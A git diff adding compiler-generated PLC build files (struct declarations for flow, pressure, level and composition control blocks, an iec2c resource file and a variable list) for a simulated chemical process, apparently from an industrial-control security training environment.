SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; 